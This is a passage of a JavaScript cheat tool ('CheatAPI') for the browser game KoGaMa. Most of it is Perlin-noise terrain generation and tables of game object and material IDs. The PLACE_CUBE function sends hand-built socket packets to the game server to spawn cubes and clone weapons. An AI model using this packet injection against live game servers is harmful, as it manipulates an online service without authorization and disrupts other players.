                             88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166,
                             77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244,
                             102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196,
                             135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123,
                             5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42,
                             223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9,
                             129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228,
                             251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107,
                             49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254,
                             138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180];


        function RemapClamp_01(x) {
            if (x <= -1.0) {
                return 0.0;
            }
            else if (1.0 <= x) {
                return 1.0;
            }
            return (x * 0.5 + 0.5);
        }

        function Remap_01(x) {
            return (x * 0.5 + 0.5);
        }
        function Fade(t) {
            return t * t * t * (t * (t * 6 - 15) + 10);
        }

        function Lerp(a, b, t) {
            return (a + (b - a) * t);
        }

        function Grad(hash, x, y, z) {
            let h = hash & 15;

            let u = h < 8 ? x : y,
                v = h < 4 ? y : h == 12 || h == 14 ? x : z;

            return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
        }

        function Octave3D(x, y, z, octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += (noise3d(x, y, z) * amplitude);
                x *= 2;
                y *= 2;
                z *= 2;
                amplitude *= persistence;
            }
            return result;
        }

        function noise3d(x, y, z) {
            let _x = Math.floor(x);
            let _y = Math.floor(y);
            let _z = Math.floor(z);

            let ix = _x & 255;
            let iy = _y & 255;
            let iz = _z & 255;

            let fx = (x - _x);
            let fy = (y - _y);
            let fz = (z - _z);

            let u = Fade(fx);
            let v = Fade(fy);
            let w = Fade(fz);

            let A = (m_permutation[ix & 255] + iy) & 255;
            let B = (m_permutation[(ix + 1) & 255] + iy) & 255;

            let AA = (m_permutation[A] + iz) & 255;
            let AB = (m_permutation[(A + 1) & 255] + iz) & 255;

            let BA = (m_permutation[B] + iz) & 255;
            let BB = (m_permutation[(B + 1) & 255] + iz) & 255;

            let p0 = Grad(m_permutation[AA], fx, fy, fz);
            let p1 = Grad(m_permutation[BA], fx - 1, fy, fz);
            let p2 = Grad(m_permutation[AB], fx, fy - 1, fz);
            let p3 = Grad(m_permutation[BB], fx - 1, fy - 1, fz);
            let p4 = Grad(m_permutation[(AA + 1) & 255], fx, fy, fz - 1);
            let p5 = Grad(m_permutation[(BA + 1) & 255], fx - 1, fy, fz - 1);
            let p6 = Grad(m_permutation[(AB + 1) & 255], fx, fy - 1, fz - 1);
            let p7 = Grad(m_permutation[(BB + 1) & 255], fx - 1, fy - 1, fz - 1);

            let q0 = Lerp(p0, p1, u);
            let q1 = Lerp(p2, p3, u);
            let q2 = Lerp(p4, p5, u);
            let q3 = Lerp(p6, p7, u);

            let r0 = Lerp(q0, q1, v);
            let r1 = Lerp(q2, q3, v);

            return Lerp(r0, r1, w);
        }

        function noise3D_01(x, y, z) {
            return Remap_01(noise3d(x, y, z));
        }

        function octave3D(x, y, z, octaves, persistence) {
            return Octave3D(x, y, z, octaves, persistence);
        }

        function octave3D_01(x, y, z, octaves, persistence) {
            return RemapClamp_01(octave3D(x, y, z, octaves, persistence));
        }

        function MaxAmplitude(octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += amplitude;
                amplitude *= persistence;
            }
            return result;
        }

        function normalizedOctave3D(x, y, z, octaves, persistence) {
            return (octave3D(x, y, z, octaves, persistence) / MaxAmplitude(octaves, persistence));
        }
        function normalizedOctave3D_01(x, y, z, octaves, persistence) {
            return Remap_01(normalizedOctave3D(x, y, z, octaves, persistence));
        }

        function BiomColor(val)
        {
            if (val < 0.32)
            {
                return CheatAPI.MATERIAL_IDS.Slime;
            }
            else if (val < 0.40)
            {
                return CheatAPI.MATERIAL_IDS.Ice;
            }
            else if (val < 0.45)
            {
                return CheatAPI.MATERIAL_IDS.BlackIce;
            }
            else if (val < 0.47)
            {
                return CheatAPI.MATERIAL_IDS.Slime;
            }
            else if (val < 0.49)
            {
                return CheatAPI.MATERIAL_IDS.Ice;
            }
            else if (val < 0.55)
            {
                return CheatAPI.MATERIAL_IDS.BlackIce;
            }
            else if (val < 0.62)
            {
                return CheatAPI.MATERIAL_IDS.Slime;
            }
            else if (val < 0.66)
            {
                return CheatAPI.MATERIAL_IDS.Ice;
            }
            else if (val < 0.68)
            {
                return CheatAPI.MATERIAL_IDS.BlackIce;
            }
            else if (val < 0.74)
            {
                return CheatAPI.MATERIAL_IDS.Slime;
            }
            else if (val < 0.80)
            {
                return CheatAPI.MATERIAL_IDS.Ice;
            }
            else if (val < 0.86)
            {
                return CheatAPI.MATERIAL_IDS.BlackIce;
            }
            else
            {
                return CheatAPI.MATERIAL_IDS.LightConcrete;
            }
        }

        var maximo = 256;

        var i, arr = [];
        for (i = 0; i < maximo; i++) {
            arr[i] = i + 1;
        }

        var p, n, tmp;
        for (p = arr.length; p;) {
            n = Math.random() * p-- | 0;
            tmp = arr[n];
            arr[n] = arr[p];
            arr[p] = tmp;
        }
        m_permutation = arr;
        //let z_ = 0;
        let posx = CheatAPI.PLAYER.POS.X
        let posy = -15
        let posz = CheatAPI.PLAYER.POS.Z
        async function createMap(){
            for (let x = 0; x < Size; x++)
            {
                    for(let z = 0; z < Size; z++){
                        let width = Size;
                        let h = normalizedOctave3D_01((x * 0.01), (z * 0.01), (1 * 0.01), 8, 0.55);
                        CheatAPI.CHEATS.PLACE_CUBE(x+posx, posy+h*60, z+posz, BiomColor(h), "BOTH")
                        if(((z + x*width)%3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(700)
                        }
                    }
            }
        }
        setTimeout(createMap, 0)
    },
     TESTE: function(Size){
        var m_permutation = [151, 160, 137, 91, 90, 15,
                             131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23,
                             190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33,
                             88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166,
                             77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244,
                             102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196,
                             135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123,
                             5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42,
                             223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9,
                             129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228,
                             251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107,
                             49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254,
                             138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180];


        function RemapClamp_01(x) {
            if (x <= -1.0) {
                return 0.0;
            }
            else if (1.0 <= x) {
                return 1.0;
            }
            return (x * 0.5 + 0.5);
        }

        function Remap_01(x) {
            return (x * 0.5 + 0.5);
        }
        function Fade(t) {
            return t * t * t * (t * (t * 6 - 15) + 10);
        }

        function Lerp(a, b, t) {
            return (a + (b - a) * t);
        }

        function Grad(hash, x, y, z) {
            let h = hash & 15;

            let u = h < 8 ? x : y,
                v = h < 4 ? y : h == 12 || h == 14 ? x : z;

            return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
        }

        function Octave3D(x, y, z, octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += (noise3d(x, y, z) * amplitude);
                x *= 2;
                y *= 2;
                z *= 2;
                amplitude *= persistence;
            }
            return result;
        }

        function noise3d(x, y, z) {
            let _x = Math.floor(x);
            let _y = Math.floor(y);
            let _z = Math.floor(z);

            let ix = _x & 255;
            let iy = _y & 255;
            let iz = _z & 255;

            let fx = (x - _x);
            let fy = (y - _y);
            let fz = (z - _z);

            let u = Fade(fx);
            let v = Fade(fy);
            let w = Fade(fz);

            let A = (m_permutation[ix & 255] + iy) & 255;
            let B = (m_permutation[(ix + 1) & 255] + iy) & 255;

            let AA = (m_permutation[A] + iz) & 255;
            let AB = (m_permutation[(A + 1) & 255] + iz) & 255;

            let BA = (m_permutation[B] + iz) & 255;
            let BB = (m_permutation[(B + 1) & 255] + iz) & 255;

            let p0 = Grad(m_permutation[AA], fx, fy, fz);
            let p1 = Grad(m_permutation[BA], fx - 1, fy, fz);
            let p2 = Grad(m_permutation[AB], fx, fy - 1, fz);
            let p3 = Grad(m_permutation[BB], fx - 1, fy - 1, fz);
            let p4 = Grad(m_permutation[(AA + 1) & 255], fx, fy, fz - 1);
            let p5 = Grad(m_permutation[(BA + 1) & 255], fx - 1, fy, fz - 1);
            let p6 = Grad(m_permutation[(AB + 1) & 255], fx, fy - 1, fz - 1);
            let p7 = Grad(m_permutation[(BB + 1) & 255], fx - 1, fy - 1, fz - 1);

            let q0 = Lerp(p0, p1, u);
            let q1 = Lerp(p2, p3, u);
            let q2 = Lerp(p4, p5, u);
            let q3 = Lerp(p6, p7, u);

            let r0 = Lerp(q0, q1, v);
            let r1 = Lerp(q2, q3, v);

            return Lerp(r0, r1, w);
        }

        function noise3D_01(x, y, z) {
            return Remap_01(noise3d(x, y, z));
        }

        function octave3D(x, y, z, octaves, persistence) {
            return Octave3D(x, y, z, octaves, persistence);
        }

        function octave3D_01(x, y, z, octaves, persistence) {
            return RemapClamp_01(octave3D(x, y, z, octaves, persistence));
        }

        function MaxAmplitude(octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += amplitude;
                amplitude *= persistence;
            }
            return result;
        }

        function normalizedOctave3D(x, y, z, octaves, persistence) {
            return (octave3D(x, y, z, octaves, persistence) / MaxAmplitude(octaves, persistence));
        }
        function normalizedOctave3D_01(x, y, z, octaves, persistence) {
            return Remap_01(normalizedOctave3D(x, y, z, octaves, persistence));
        }

        function BiomColor(val)
        {
            if (val < 0.32)
            {
                return CheatAPI.MATERIAL_IDS.DarkBlue;
            }
            else if (val < 0.40)
            {
                return CheatAPI.MATERIAL_IDS.Blue;
            }
            else if (val < 0.45)
            {
                return CheatAPI.MATERIAL_IDS.Orange;
            }
            else if (val < 0.47)
            {
                return CheatAPI.MATERIAL_IDS.BrightOrange;
            }
            else if (val < 0.49)
            {
                return CheatAPI.MATERIAL_IDS.Khaki;
            }
            else if (val < 0.55)
            {
                return CheatAPI.MATERIAL_IDS.Green;
            }
            else if (val < 0.62)
            {
                return CheatAPI.MATERIAL_IDS.DarkGreen;
            }
            else if (val < 0.66)
            {
                return CheatAPI.MATERIAL_IDS.DarkGreen;
            }
            else if (val < 0.68)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.74)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.80)
            {
                return CheatAPI.MATERIAL_IDS.Concrete;
            }
            else if (val < 0.86)
            {
                return CheatAPI.MATERIAL_IDS.LightConcrete;
            }
            else
            {
                return CheatAPI.MATERIAL_IDS.LightConcrete;
            }
        }

        var maximo = 256;

        var i, arr = [];
        for (i = 0; i < maximo; i++) {
            arr[i] = i + 1;
        }

        var p, n, tmp;
        for (p = arr.length; p;) {
            n = Math.random() * p-- | 0;
            tmp = arr[n];
            arr[n] = arr[p];
            arr[p] = tmp;
        }
        m_permutation = arr;
        //let z_ = 0;
        let posx = CheatAPI.PLAYER.POS.X
        let posy = -15
        let posz = CheatAPI.PLAYER.POS.Z
        async function createMap(){
            for (let x = 0; x < Size; x++)
            {
                    for(let z = 0; z < Size; z++){
                        let width = Size;
                        let h = normalizedOctave3D_01((x * 0.01), (z * 0.01), (1 * 0.01), 8, 0.55);
                        CheatAPI.CHEATS.PLACE_CUBE(x+posx, posy+h*60, z+posz, BiomColor(h), "BOTH")
                        if(((z + x*width)%3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(700)
                        }
                    }
            }
        }
        setTimeout(createMap, 0)
    },


     TESTE3: function(Size){
        var m_permutation = [151, 160, 137, 91, 90, 15,
                             131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23,
                             190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33,
                             88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166,
                             77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244,
                             102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196,
                             135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123,
                             5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42,
                             223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9,
                             129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228,
                             251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107,
                             49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254,
                             138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180];


        function RemapClamp_01(x) {
            if (x <= -1.0) {
                return 0.0;
            }
            else if (1.0 <= x) {
                return 1.0;
            }
            return (x * 0.5 + 0.5);
        }

        function Remap_01(x) {
            return (x * 0.5 + 0.5);
        }
        function Fade(t) {
            return t * t * t * (t * (t * 6 - 15) + 10);
        }

        function Lerp(a, b, t) {
            return (a + (b - a) * t);
        }

        function Grad(hash, x, y, z) {
            let h = hash & 15;

            let u = h < 8 ? x : y,
                v = h < 4 ? y : h == 12 || h == 14 ? x : z;

            return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
        }

        function Octave3D(x, y, z, octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += (noise3d(x, y, z) * amplitude);
                x *= 2;
                y *= 2;
                z *= 2;
                amplitude *= persistence;
            }
            return result;
        }

        function noise3d(x, y, z) {
            let _x = Math.floor(x);
            let _y = Math.floor(y);
            let _z = Math.floor(z);

            let ix = _x & 255;
            let iy = _y & 255;
            let iz = _z & 255;

            let fx = (x - _x);
            let fy = (y - _y);
            let fz = (z - _z);

            let u = Fade(fx);
            let v = Fade(fy);
            let w = Fade(fz);

            let A = (m_permutation[ix & 255] + iy) & 255;
            let B = (m_permutation[(ix + 1) & 255] + iy) & 255;

            let AA = (m_permutation[A] + iz) & 255;
            let AB = (m_permutation[(A + 1) & 255] + iz) & 255;

            let BA = (m_permutation[B] + iz) & 255;
            let BB = (m_permutation[(B + 1) & 255] + iz) & 255;

            let p0 = Grad(m_permutation[AA], fx, fy, fz);
            let p1 = Grad(m_permutation[BA], fx - 1, fy, fz);
            let p2 = Grad(m_permutation[AB], fx, fy - 1, fz);
            let p3 = Grad(m_permutation[BB], fx - 1, fy - 1, fz);
            let p4 = Grad(m_permutation[(AA + 1) & 255], fx, fy, fz - 1);
            let p5 = Grad(m_permutation[(BA + 1) & 255], fx - 1, fy, fz - 1);
            let p6 = Grad(m_permutation[(AB + 1) & 255], fx, fy - 1, fz - 1);
            let p7 = Grad(m_permutation[(BB + 1) & 255], fx - 1, fy - 1, fz - 1);

            let q0 = Lerp(p0, p1, u);
            let q1 = Lerp(p2, p3, u);
            let q2 = Lerp(p4, p5, u);
            let q3 = Lerp(p6, p7, u);

            let r0 = Lerp(q0, q1, v);
            let r1 = Lerp(q2, q3, v);

            return Lerp(r0, r1, w);
        }

        function noise3D_01(x, y, z) {
            return Remap_01(noise3d(x, y, z));
        }

        function octave3D(x, y, z, octaves, persistence) {
            return Octave3D(x, y, z, octaves, persistence);
        }

        function octave3D_01(x, y, z, octaves, persistence) {
            return RemapClamp_01(octave3D(x, y, z, octaves, persistence));
        }

        function MaxAmplitude(octaves, persistence) {
            let result = 0;
            let amplitude = 1;

            for (let i = 0; i < octaves; i++) {
                result += amplitude;
                amplitude *= persistence;
            }
            return result;
        }

        function normalizedOctave3D(x, y, z, octaves, persistence) {
            return (octave3D(x, y, z, octaves, persistence) / MaxAmplitude(octaves, persistence));
        }
        function normalizedOctave3D_01(x, y, z, octaves, persistence) {
            return Remap_01(normalizedOctave3D(x, y, z, octaves, persistence));
        }

        function BiomColor(val)
        {
            if (val < 0.32)
            {
                return CheatAPI.Objects.RailGun;
            }
            else if (val < 0.40)
            {
                return CheatAPI.Objects.Sword;
            }
            else if (val < 0.45)
            {
                return CheatAPI.Objects.CentralGun;
            }
            else if (val < 0.47)
            {
                return CheatAPI.Objects.RailGun;
            }
            else if (val < 0.49)
            {
                return CheatAPI.Objects.Sword;
            }
            else if (val < 0.55)
            {
                return CheatAPI.Objects.CentralGun;
            }
            else if (val < 0.62)
            {
                return CheatAPI.Objects.RailGun;
            }
            else if (val < 0.66)
            {
                return CheatAPI.Objects.Sword;
            }
            else if (val < 0.68)
            {
                return CheatAPI.Objects.CentralGun;
            }
            else if (val < 0.74)
            {
                return CheatAPI.Objects.RailGun;
            }
            else if (val < 0.80)
            {
                return CheatAPI.Objects.Sword;
            }
            else if (val < 0.86)
            {
                return CheatAPI.Objects.CentralGun;
            }
            else
            {
                return CheatAPI.Objects.RailGun;
            }
        }

        var maximo = 256;

        var i, arr = [];
        for (i = 0; i < maximo; i++) {
            arr[i] = i + 1;
        }

        var p, n, tmp;
        for (p = arr.length; p;) {
            n = Math.random() * p-- | 0;
            tmp = arr[n];
            arr[n] = arr[p];
            arr[p] = tmp;
        }
        m_permutation = arr;
        //let z_ = 0;
        let posx = CheatAPI.PLAYER.POS.X
        let posy = -15
        let posz = CheatAPI.PLAYER.POS.Z
        async function createMap(){
            for (let x = 0; x < Size; x++)
            {
                    for(let z = 0; z < Size; z++){
                        let width = Size;
                        let h = normalizedOctave3D_01((x * 0.01), (z * 0.01), (1 * 0.01), 8, 0.55);
                        CheatAPI.CHEATS.CLONE_OBJECT(BiomColor(h),x+posx, posy+h*60, z+posz, "BOTH")
                        if(((z + x*width)%3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(700)
                        }
                    }
            }
        }
        setTimeout(createMap, 0)
    },

    EFFECT_NAMES: ["Fire", "Mutant", "Poison", "Frozen", "NinjaRun", "Shrunken", "Enlarged", "Shielded", "SpawnProtection"],
    SPAWN_WOIDS: [75580, 258666, 258665, 258671, 258670, 258662, 265392, 268346, 258874, 258875, 258652],
    MESSAGE_TYPE: {
        Admin: 3,
        All: 7,
        Team: 8,
        Says: 9,
        Warning: 11
    },
    TEAM_IDS: {
        Blue: 0,
        Red: 1,
        Green: 2,
        Yellow: 3,
        White: 5,
        Server: 6
    },
    NO_IDS: {
        Big:17,
        Small:16,
    },
     LEVEL_IDS: {
          LEVEL1: 1,
          LEVEL2: 2,
          LEVEL3: 3,
          LEVEL4: 4,
          LEVEL5: 5,
          LEVEL6: 6,
          LEVEL7: 7,
          LEVEL8: 8,
          LEVEL9: 9,
          LEVEL10: 10,
          LEVEL11: 11,
          LEVEL12: 12,
          LEVEL13: 13,
          LEVEL14: 14,
          LEVEL15: 15,
          LEVEL16: 16,
          LEVEL17: 17,
          LEVEL18: 18,
          LEVEL19: 19,
          LEVEL20: 20,
          LEVEL21: 21,
         LEVEL22: 22,
         LEVEL23: 23,
         LEVEL24: 24,
         LEVEL25: 25,
         LEVEL26: 26,
         LEVEL27: 27,
         LEVEL28: 28,
         LEVEL29: 29,
         LEVEL30: 30,
         LEVEL31: 31,
         LEVEL32: 32,
         LEVEL33: 33,
          LEVEL34: 34,
          LEVEL35: 35,
          LEVEL36: 36,
          LEVEL37: 37,
          LEVEL38: 38,
          LEVEL39: 39,
          LEVEL40: 40,
          LEVEL41: 41,
          LEVEL42: 42,
          LEVEL43: 43,
          LEVEL44: 44,
          LEVEL45: 45,

    },
    EFFECT_TYPE: {
        rail_kill:4,
        mutant_kill:6,
        big:17,
        heal:27,
        damadge:10,
        freeze:11,
        slide:2,
        flamethrower_kill:8,
        sword_kill:5,
        slapgun_kill:9,
        shotgun_kill:7,
        oculus_kill:12,
        none_kill:13
    },
    KILLED_BY: {
        None:0,
        CenterGun:1,
        BazookaGun:2,
        RailGun:3,
        Suicide:4,
        Impact:5,
        Environmental:6,
        Sword:7,
        Explosive:8,
        Fire:9,
        FallOffWorld:10,
        Mutant:11,
        Shotgun:12,
        FlameThrower:13,
        Crushed:14,
        Ghost:15,
        AdvancedGhost:16,
        SixShooter:17,
        DoubleSixShooter:18,
        ThrowingStar:19,
        MultiThrowingStar:20,
        SlapGun:21
    },
      NOTI_IDS: {
        Kill: 1,
        XP: 5,
        Love_eyes: 9,
        Missing_requirement: 10,
        Gold: 12,
        Team: 14,
        JetPack: 16,
        View: 17,
        Unlock: 19,
        New_hignt_score: 20,
        Score1: 21,
        Score2: 24,
        Left: 25,
        Win_Flag: 26,
        GO: 27,
        Next_level_Gold: 28
    },
    CUBE_ID: 0,
    CUBES: [],
    MATERIAL_IDS: {
        BrightRed: 0,
        Red: 1,
        DarkRed: 2,
        Sand: 3,
        LightPurpleFabric: 4,
        BrightBlue: 5,
        Blue: 6,
        DarkBlue: 7,
        Caramel: 8,
        PurpleFabric: 9,
        BrightGreen: 10,
        Green: 11,
        DarkGreen: 12,
        Ceramic: 13,
        DarkPurpleFabric: 14,
        Yellow: 15,
        BrightOrange: 16,
        Orange: 17,
        Butter: 18,
        Sandstone: 19,
        LightConcrete: 20,
        Concrete: 21,
        DarkConcrete: 22,
        BlackConcrete: 23,
        Khaki: 24,
        Ice: 25,
        Lava: 26,
        Bouncy: 27,
        Poison: 28,
        Parkour: 29,
        Bricks: 30,
        LightWood: 31,
        Cobblestone: 32,
        Cement: 33,
        Camouflage: 34,
        GreenPavement: 35,
        AncientCobblestone: 36,
        RedBricks: 37,
        YellowBricks: 38,
        Zigzag: 39,
        MetalPattern: 40,
        Metal: 41,
        Mushroom: 42,
        BlackIce: 43,
        PinkFabric: 44,
        RedGrid: 45,
        GreenGrid: 46,
        Circuit: 47,
        GreyBricks: 48,
        Spotty: 49,
        MetalScraps: 50,
        Slime: 51,
        WrappingPaper: 52,
        DarkWood: 53,
        SuperBouncy: 54,
        Cloud: 55,
        SoftDestructible: 56,
        MediumDestructible: 57,
        HardDestructible: 58,
        CrackedIce: 59,
        StripedCement: 60,
        Machinery: 61,
        EmbossedMetal: 62,
        Scrolling: 63,
        Kill: 64,
        Heal: 65,
        Slow: 66,
        Speed: 67,
        Crumble: 68
    },
    ACESSORIES: {},
    FRIENDSHIP_INFOS: {},
    Objects: { //War 4
     Terrain: 75579,
        ImpulseGun:259015,
      RailGun: 258666,
      Mousegun:258769,
      CentralGun:258670,
        cubeGun:258680,
      Sword:258662,
Bazooka: 258629,
HealRay: 262109,
pistol2x: 258635,
flamethrower: 258637,
ShotGun: 258642,
CubeModel: 262113,
        TextMsg:261310,
      Blueprint:259625,
      WindTurbine:260568,
     SpawnPointGreen:258626,
     SoundEmitter:260840,
      HoverCraft:260988,
     HamsterWheel:260991,
     SpawnPointRed:258627,
     SpawnPointBlue: 258628,
      PressurePlate: 261318,
        WaterPlane:258715,
     WorldObjectSpawnerVehicle:259087,
        Teleporter:261065
    },
        Objects2: { //Super war  //https://www.kogama.com/games/play/10054560/
      Terrain: 75579,
      AvatarSpawnRoleCreator: 261000,
      PickupItemSpawner:259403,
      Teleporter:259279,
      CubeModel:259226,
       WaterPlane:259281,
     Theme:259280,
     GamePassProgressionDataObject:258638,
     Spawn: 75580,
      PointLight: 259197,
        JetPack:259595,
    },

    Objects3: { //cube gun 1011
      Terrain: 75579,
      PickupCubeGun: 258664,
      Blueprint: 258995,
      PickupItemSpawner:258702,
      Teleporter:258991,
      CubeModel:258705,
      PressurePlate:258684,
      CheckPoint:258723,
      Spawn: 75580,
    },

        Objects4: { //?LoL CuBe GuN 12 ? //https://www.kogama.com/games/play/8665705/
      Terrain: 75579,
      PickupCubeGun: 259268,
      PickupItemSpawner:259069,
     PressurePlate:258719,
     CheckPoint:258981,
     Spawn: 75580,
         WaterPlane:259195
    },
    Objects5: { //cube gun :D :D3
      Terrain: 75579,
      PickupCubeGun: 258825,
      PickupItemSpawner:258779,
     PressurePlate:258845,
        Fire:259300,
        idk:258654,
        ImpulseGun:258779,
     CheckPoint:258737,
    Teleport:258875,
        ShootableButton:259358,
        JetPack:259389,
     Spawn: 259326,
        TextMsg:259195,
        Blueprint:259467,
       CubeModel:258975,
        WorldObjectSpawnerVehicle:259388
    },

     Objects6: { //-Love land 43-
      Terrain: 75579,
      PickupItemSpawner:263796,
     PressurePlate:261638,
        CheckPoint:261963,
         Teleport:263049,
         Skybox:263541,
         Skybox2:260482,
         Fire:260694,
         WaterPlane:258945,
         Smoke:263306,
         HoverCraft:263835,
         JetPack:264180,
         RedSpawn: 265416,
         PointLight:263627,
         Explosives:263621,
         AvatarSpawnRoleCreator:264512,
         PlayModeAvatar:267393,
         TextMsg:261671,
         CubeModel:265879,
        WorldObjectSpawnerVehicle:264179
    },

         Objects7: { //kowara
      Terrain: 75579,
      PickupItemSpawner:258629,
      GameCoin:259505,
         WaterPlane:258724,
         PickupCubeGun:258764,
         BlueSpawn:258738,
         RedSpawn: 258737,
         JetPack:259037,
         Explosives:260106,
         HamsterWheel:259467,
         GlobalSoundEmitter:259535,
         Theme:259486,
         AdvancedGhost:259279,
         TeamEditor:259628,
         PointLight:259603,
         GamePointChest:260183,
         TextMsg:258874,
         CubeModel:258916,
        WorldObjectSpawnerVehicle:259027
    },
        Objects8: { //Pool Table
       Terrain: 75579,
       PickupItemSpawner:258701,
       Spawn: 75580,
       CubeModel:258678,
       WaterPlane:258689
    },
            Objects9: { //Pool Table
       Terrain: 75579,
       GamePointChest:265717,
       Spawn: 75580,
      Fire:259187,
      HamsterWheel:267661,
       CubeModel:268230,
         GameCoin:262934,
        WorldObjectSpawnerVehicle:267660,
        GlobalSoundEmitter:259910,
        WindTurbine:265367,
       Teleport:265803
    },
    Objects_AVATAR: {
    "Terrain":75579,
    "PointLight":258717,
    "CubeModel":258651,
    },
     Objects_XP: {
     "WAR 4": 258715,
     "-Love land 43-":258945,
     "?LoL CuBe GuN 12 ?":259195,
     "Pool Table":258689,
     "Super War":259281,
     "?| KoWaRa | PvP + Oculus |?":258724,

    },


    PLAYERS: [],
    PLAYER: {
        USERNAME: top.document.getElementsByClassName("_4RanE")[0].textContent,
        WOID: 0,
        POS: {},
        ACTORNR: 0
    },
    CHEATS: {
        PLACE_CUBE: function(X, Y, Z, MATERIAL, FLAG) {
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,(MATERIAL>-1?9:7),(MATERIAL>-1?2:0),...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),...(MATERIAL?[7,MATERIAL]:[]))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,(MATERIAL>-1?9:7),(MATERIAL>-1?2:0),...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),...(MATERIAL?[7,MATERIAL]:[]),254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
